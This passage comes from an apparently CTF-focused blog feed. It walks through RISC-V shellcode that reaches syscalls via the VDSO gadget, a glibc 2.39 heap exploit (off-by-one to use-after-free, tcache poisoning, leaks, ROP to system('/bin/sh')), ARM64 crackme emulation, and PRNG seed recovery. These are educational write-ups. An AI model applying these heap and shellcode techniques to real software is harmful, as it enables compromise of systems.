<span class="line"><span>argv[]     (pointers, NULL-terminated)</span></span>
<span class="line"><span>envp[]     (NULL-terminated)</span></span>
<span class="line"><span>auxv[]     (pairs of {type, value}, terminated by AT_NULL)</span></span></code></pre>
<p>That last one, the <strong>auxiliary vector</strong>, is the kernel telling the new process facts about itself without any syscalls: page size, user id, CPU features, and the one I want, <code>AT_SYSINFO_EHDR</code> (type <strong>33</strong>), whose value is <strong>the VDSO's base address</strong>.</p>
<p>So the shellcode just walks the stack: skip <code>argc</code>, step past <code>argv</code> to its NULL, past <code>envp</code> to its NULL, then scan the <code>auxv</code> pairs until it finds type 33 and takes that value. Add a fixed offset to reach the <code>ecall; ret</code> gadget (found once by disassembling the VDSO ahead of time), and from that point on every syscall is: load the argument registers and <code>jalr</code> into the gadget.</p>
<h2 id="reading-the-flag">Reading the flag<a class="anchor" aria-hidden="true" tabindex="-1" href="#reading-the-flag">#</a></h2>
<p>With syscalls available, the flag is three of them, RISC-V numbers 56 / 63 / 64:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>openat(AT_FDCWD, "/flag.txt", O_RDONLY, 0)   → fd</span></span>
<span class="line"><span>read(fd, buffer, 0x100)                        → length</span></span>
<span class="line"><span>write(1, buffer, length)</span></span></code></pre>
<p>One small trap cost me time here: I first read <code>0x40</code> (64) bytes and the flag came back cut off, because it's longer than 64 bytes. The output wasn't <em>wrong</em>, just truncated, which is an easy thing to stare past. Bumping the read size to <code>0x100</code> fixed it.</p>
<h2 id="fitting-it-in-113-bytes">Fitting it in 113 bytes<a class="anchor" aria-hidden="true" tabindex="-1" href="#fitting-it-in-113-bytes">#</a></h2>
<p>The <code>.text</code> cap is tight enough that this has to be hand-assembled; there's no room for a compiler's calling-convention overhead. The payload lands at <strong>88 bytes</strong>: find <code>AT_SYSINFO_EHDR</code>, compute the gadget address, run the three syscalls, with the literal <code>"/flag.txt"</code> string packed onto the end of the same blob, since there's no spare data section.</p>
<p>That shellcode goes into the smallest ELF64 that will still load: a hand-built header and two program segments. One is read-execute and holds the headers plus the shellcode. The other is read-write, zero bytes on disk but 4 KB in memory, to serve as the scratch buffer for <code>read</code> without storing any buffer in the file.</p>
<p>My <code>solve.py</code> builds that ELF byte by byte, checks it against the same limits the server enforces (including a sneaky extra rule: no run of four identical bytes anywhere), base64-encodes it, and sends it:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ python3 solve.py 15.235.202.47 9002</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">[+] text size : 88 bytes</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">[+] ELF size  : 456 bytes</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Send your RISC-V ELF (base64): …</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">&#x3C;FLAG>LYKNCTF{...::#RISC!@2026%_^~}</span></span></code></pre>
<p>The whole exploit is just binary layout and a socket. No disassembler, because the shellcode was written straight to bytes. The clever part was never the code; it was realising that "no <code>ecall</code> in your file" and "no <code>ecall</code> in your process" are two very different rules, and the kernel already handed me the second one.</p>
<p>📂 Full writeup and the <code>solve.py</code> that builds the ELF: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/pwn/lykn-ctf-2026/Golfing">ctf-writeups/pwn/…/Golfing</a></p>]]></content:encoded>
    </item>
    <item>
      <title>One off-by-one against the Heap Devil</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/heap-devil-tcache/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/heap-devil-tcache/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>A notes program with every modern protection on, where a single &quot;greater-than&quot; that should be &quot;greater-than-or-equal&quot; opens the door to a use-after-free, and from there to a shell.</description>
      <category>ctf</category>
      <category>pwn</category>
      <category>heap</category>
      <category>glibc</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>H34p D3v1l</strong>, LYKN CTF 2026 (pwn / heap)</p>
</blockquote>
<blockquote>
<p>Even demons make mistakes. The Heap Devil has invited you to play a dangerous game with his "unbreakable" contracts.</p>
</blockquote>
<p>The binary is a notes manager on modern glibc (2.39), with everything turned on:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>RELRO:    Full RELRO     (no GOT overwrite)</span></span>
<span class="line"><span>Canary:   found</span></span>
<span class="line"><span>NX:       enabled</span></span>
<span class="line"><span>PIE:      enabled        (need a leak)</span></span></code></pre>
<p>Full RELRO rules out overwriting the GOT, and recent glibc removed the old malloc/free hooks, so the two classic "one write and you win" heap tricks are both gone. This has to end in leaking everything and building a ROP chain. The whole thing hinges on one mistake the Devil made.</p>
<h2 id="the-mistake">The mistake<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-mistake">#</a></h2>
<p>Each note is a small struct with an <code>in_use</code> flag, a size, an id, and a data pointer. The menu lets you create, view, edit, delete and resize. Two of the handlers validate the index the same wrong way:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (index </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x3C;</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> ||</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> index </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> num_notes) {</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">   // should be >=</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    puts</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Invalid index!"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
<p><code>index == num_notes</code> slips through: one slot past the last live note.</p>
<p>On its own that's just an out-of-bounds slot. What makes it dangerous is that <strong>delete</strong> shifts the later entries down and decrements the count, but never clears the slot that falls off the end. So after you delete the current last note, that stale slot keeps the note's old <code>in_use</code> flag and data pointer, now pointing at freed memory. Combine the two bugs and <code>view(num_notes)</code> is a <strong>use-after-free read</strong> and <code>edit(num_notes)</code> is a <strong>use-after-free write</strong>, straight onto a freed chunk's contents.</p>
<h2 id="turning-a-uaf-into-allocate-anywhere">Turning a UAF into "allocate anywhere"<a class="anchor" aria-hidden="true" tabindex="-1" href="#turning-a-uaf-into-allocate-anywhere">#</a></h2>
<p>glibc's tcache protects its free-list pointers by XOR-ing them with a key derived from the chunk's own address (safe-linking). But a UAF read hands you that mangled pointer, and the key is just the chunk address shifted right by 12, which the leaked value itself reveals. So you can read the key, then use a UAF write to replace the pointer with <code>key XOR target</code>. The next couple of allocations then hand you back memory <strong>at an address of your choosing</strong>.</p>
<p>That one primitive is the whole game. A couple of glibc details have to be respected to keep it reliable (chunk pointers must be 16-byte aligned, and tcache zeroes a small bookkeeping window on handout), but once it works, everything else is leaks.</p>
<h2 id="three-leaks-all-free">Three leaks, all free<a class="anchor" aria-hidden="true" tabindex="-1" href="#three-leaks-all-free">#</a></h2>
<ul>
<li><strong>Heap base.</strong> Free a lone chunk and read its stale pointer. With an empty free list the mangled value <em>is</em> the heap base shifted right by 12.</li>
<li><strong>libc.</strong> <code>main</code> opens <code>/dev/random</code> at startup and never uses the handle again. That leaves a <code>FILE</code> struct sitting in the heap whose vtable field is a fixed libc-relative pointer. Point an allocation at it, read the vtable, subtract the known offset, and you have libc, without disturbing anything.</li>
<li><strong>Stack.</strong> Aim the same primitive at libc's <code>environ</code> global, which holds a live stack address.</li>
</ul>
<h2 id="landing-the-chain">Landing the chain<a class="anchor" aria-hidden="true" tabindex="-1" href="#landing-the-chain">#</a></h2>
<p>Every menu handler is called from the same spot in the dispatch loop, so the distance from <code>environ</code> to a handler's saved return address on the stack is a <strong>fixed offset</strong>, the same under every run of ASLR. Measure it once in a debugger and it's pinned forever.</p>
<p>One of the handlers ends in <code>leave; ret</code>, so writing a short ROP chain (pop the <code>/bin/sh</code> argument, call <code>system</code>) directly over its saved return address hijacks control the moment it returns, with no stack overflow needed. The tcache primitive delivers the "buffer" straight onto the stack. The chain needs one bare <code>ret</code> gadget as alignment filler, because <code>system</code> uses instructions that require the stack 16-byte aligned, and this landing is off by eight.</p>
<h2 id="the-one-reliability-tax">The one reliability tax<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-one-reliability-tax">#</a></h2>
<p>Every write goes through the program's <code>fgets</code>, which stops at a newline. If ASLR ever hands back an address whose bytes contain <code>0x0a</code>, the write gets silently truncated mid-payload. So the solver checks every value it's about to send, and if it finds a stray newline, it drops the connection and retries against a fresh process. New ASLR almost never repeats the unlucky byte.</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>[*] heap base : 0x59873a1aa000</span></span>
<span class="line"><span>[*] libc base : 0x7844c1df4000</span></span>
<span class="line"><span>[*] environ   : 0x7fff1755ce58</span></span>
<span class="line"><span>[*] ret slot  : 0x7fff1755ccf8</span></span>
<span class="line"><span>LYKNCTF{0utsm4rt3d_th3_h34p_d3v1l}</span></span></code></pre>
<p>Every mitigation in place, and the whole thing still unravels from one <code>></code> that should have been <code>>=</code>.</p>
<p>📂 Full writeup with the allocation primitive and the complete chain: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/pwn/lykn-ctf-2026/H34p%20D3v1l">ctf-writeups/pwn/…/H34p D3v1l</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Skipping a 6-day puzzle by emulating the last 3 numbers</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/dog-simulator-arm64-emulation/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/dog-simulator-arm64-emulation/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>An ARM64 Mach-O crackme gates its flag behind a dozen conditions across six in-game days. The flag builder only reads three small integers, so you can emulate it and ignore the puzzle entirely.</description>
      <category>ctf</category>
      <category>reversing</category>
      <category>arm64</category>
      <category>emulation</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>Dog Simulator</strong>, BroncoCTF 2026 (reversing)</p>
</blockquote>
<blockquote>
<p>If you can survive 6 dog-days of walkies, tricks, and zoomies, you might uncover a secret (if you can stick to the right routine in the right order)!</p>
</blockquote>
<p>It's an ARM64 Mach-O binary, stripped, and much heavier than its "Cat Simulator" predecessor. Six actions per day (Bark, Fetch, Sit, Eat, Zoomies and a free-text Speak), tracked across a pile of running counters: score, bond, mood, per-action counts, and two rolling hashes.</p>
<h2 id="the-giant-and">The giant AND<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-giant-and">#</a></h2>
<p>Disassembling <code>__text</code> (resolving ARM64's <code>adrp</code>+<code>add</code> string loads so the prompts show up inline) reveals the structure: a six-day loop, then a long chain of conditional compares that act as one enormous <code>&#x26;&#x26;</code> gating the flag:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">bond_hash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> fetch_count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> eat_count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 2</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> mood </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 2</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">score </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">37</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> last_action </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Eat </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">&#x26;&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> speak_letters </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 19</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">bark_count </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 24</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> energy </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 20</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> bond </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 2</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> combo_flag </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">action_hash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">740a8a98</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;&#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> speak_hash </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">==</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">f5d38524</span></span></code></pre>
<p>plus a hardcoded check that the Speak text equals <code>"gremlin"</code> (the dog's nickname from the intro). Solving that whole combo puzzle by hand, twelve conditions across six days of six choices each, is a big error-prone search.</p>
<h2 id="the-shortcut">The shortcut<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-shortcut">#</a></h2>
<p>But I don't have to. Past all those gates, the flag builder is a small, self-contained block, and it only consumes <strong>three small integers</strong>:</p>
<ul>
<li><code>w22</code> — final mood (0–3)</li>
<li><code>w25</code> — final bond (pinned to 24 by the gate)</li>
<li><code>w26</code> — final energy</li>
</ul>
<p>It runs them through a vectorized murmur3-style hash across NEON lanes to make a 24-byte keystream, then XORs that against stored constants to produce the flag. That's small enough to just run.</p>
<h2 id="emulate-the-builder-directly">Emulate the builder directly<a class="anchor" aria-hidden="true" tabindex="-1" href="#emulate-the-builder-directly">#</a></h2>
<p>I mapped the Mach-O into <strong>Unicorn</strong> (the ARM64 emulator), set up a stack, and called straight into the flag-builder with those three registers as free variables:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> run</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(w22, w25, w26):</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    mu.reg_write(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">UC_ARM64_REG_W22</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, w22)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    mu.reg_write(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">UC_ARM64_REG_W25</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, w25)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    mu.reg_write(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">UC_ARM64_REG_W26</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, w26)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    mu.emu_start(</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">100000ee8</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1000011dc</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> bytes</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(mu.mem_read(x29 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">e0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">24</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">))</span></span></code></pre>
<p>Then I swept small ranges of all three and kept whichever output decoded to printable ASCII. Garbage inputs make garbage bytes, so the right state stands out instantly:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ python solve_dog_emulate.py</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">w22=0 w25=20 w26=2 -> b'bronco{mans_best_friend}'</span></span></code></pre>
<p>A couple of different triples land on the same flag, because the hash collides in such a tiny search space, which is fine. The point is I never had to work out the six-day routine at all. When the hard part feeds a small, isolated function, emulating that function beats solving the puzzle that leads to it.</p>
<p>📂 Full writeup with the disassembler and the Unicorn solver: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/reverse/bronco-ctf-2026/dog%20simulator">ctf-writeups/reverse/…/dog simulator</a></p>]]></content:encoded>
    </item>
    <item>
      <title>The broken birthday oracle that leaks its own seed</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/static-prng-seed-recovery/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/static-prng-seed-recovery/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>A PRNG seeded with the flag answers questions mod 12, 7 and 5. Those &quot;lossy&quot; answers aren't lossy at all, and the update step runs backwards straight into the seed.</description>
      <category>ctf</category>
      <category>crypto</category>
      <category>prng</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>Consistently Static PRNG</strong>, BroncoCTF 2026 (crypto)</p>
</blockquote>
<p>The setup is a joke that's also the whole challenge:</p>
<blockquote>
<p>I made a birthday oracle recently, but I can't get it to work at all. It only gets the day of the week right 14% of the time! Here are my results…</p>
</blockquote>
<p>You get the oracle code and a log of its (wrong) outputs. The PRNG is seeded with the <strong>flag bytes</strong>, and each guess prints three numbers:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">month </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> guess </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">%</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 12</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">day   </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> guess </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">%</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 7</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">area  </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> guess </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">%</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 5</span></span></code></pre>
<p>Three ideas combine to peel the flag straight back out.</p>
<h2 id="1-those-small-mods-arent-lossy">1. Those small mods aren't lossy<a class="anchor" aria-hidden="true" tabindex="-1" href="#1-those-small-mods-arent-lossy">#</a></h2>
<p><code>lcm(12, 7, 5) = 420</code>, which is bigger than 256. So by the <strong>Chinese Remainder Theorem</strong>, knowing a byte mod 12, mod 7 and mod 5 pins it down uniquely in 0–255. Every "wrong" oracle line, far from being lossy, actually leaks one <strong>exact</strong> PRNG output byte.</p>
<h2 id="2-the-update-step-runs-backwards">2. The update step runs backwards<a class="anchor" aria-hidden="true" tabindex="-1" href="#2-the-update-step-runs-backwards">#</a></h2>
<p>Here's the generator:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">def</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> next</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(self):</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    a </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> sum</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">self</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.state) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">%</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 256</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    self</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.state[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">self</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.schedule[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">self</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.nextrep </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">%</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> len</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">self</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.schedule)]] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> a</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    self</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.nextrep </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    return</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> a</span></span></code></pre>
<p>It outputs <code>a = sum(state)</code>, then overwrites one slot with <code>a</code>. That's completely linear and reversible. After the overwrite:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>sum(state_after) = 2·a_i − old_value   (mod 256)</span></span></code></pre>
<p>which rearranges to:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>old_value = (2·a_i − a_{i+1})   (mod 256)</span></span></code></pre>
<p>And during the <strong>first pass</strong> over the schedule, the slot being overwritten still holds an original <strong>flag byte</strong>. So consecutive output pairs hand me flag bytes directly, just scrambled by the schedule's order.</p>
<h2 id="3-brute-the-schedule">3. Brute the schedule<a class="anchor" aria-hidden="true" tabindex="-1" href="#3-brute-the-schedule">#</a></h2>
<p>The schedule is <code>range(N)</code> rotated by an unknown amount and maybe reversed, which is only about <code>2N</code> possibilities. I try each one, reassemble the recovered bytes, and look for the one that reads as printable <code>bronco{...}</code>:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ python solve.py</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">recovered 101 PRNG output bytes</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">flag: bronco{crypt0_1n5ecur3_4_c3rt4in}</span></span></code></pre>
<p>Seeding a PRNG with your secret and then publishing its outputs, even reduced mod tiny numbers, is fatal when the update is linear and invertible. <code>old = 2·a_i − a_{i+1}</code> walks right back to the seed. Crypto insecure, for certain.</p>
<p>📂 Full writeup and the stdlib-only solver: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/crypto/bronco-ctf-2026/consistently%20static%20pseudo%20random%20number%20generator">ctf-writeups/crypto/…/consistently static pseudo random number generator</a></p>]]></content:encoded>
    </item>
    <item>
      <title>When the provided solver is a trap</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/cr4ck-3-dynamic-oracle/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/cr4ck-3-dynamic-oracle/</guid>
      <pubDate>Sat, 28 Nov 2026 00:00:00 GMT</pubDate>
      <description>A Windows crackme ships two &quot;reference&quot; scripts that reimplement its VM. Both are wrong, because they hardcode a seed that real startup code computes. The fix is to stop reimplementing and emulate the real thing.</description>
      <category>ctf</category>
      <category>reversing</category>
      <category>emulation</category>
      <category>windows</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>cr4ck 3</strong> (Serial), LYKN CTF 2026 (reversing)</p>
</blockquote>
<p><code>Serial.exe</code> is a Windows dialog app: type a serial of the form <code>LYKNCTF{</code> + 24 chars + <code>}</code>, hit a button, get a verdict. Behind it is a bytecode VM gated by a self-hash of its own <code>.text</code> section.</p>
<p>What makes this one interesting is that the challenge <strong>shipped two Python scripts</strong> that reimplement the VM statically, <code>crack.py</code> and <code>debug.py</code>, as if to help you. They're both broken.</p>
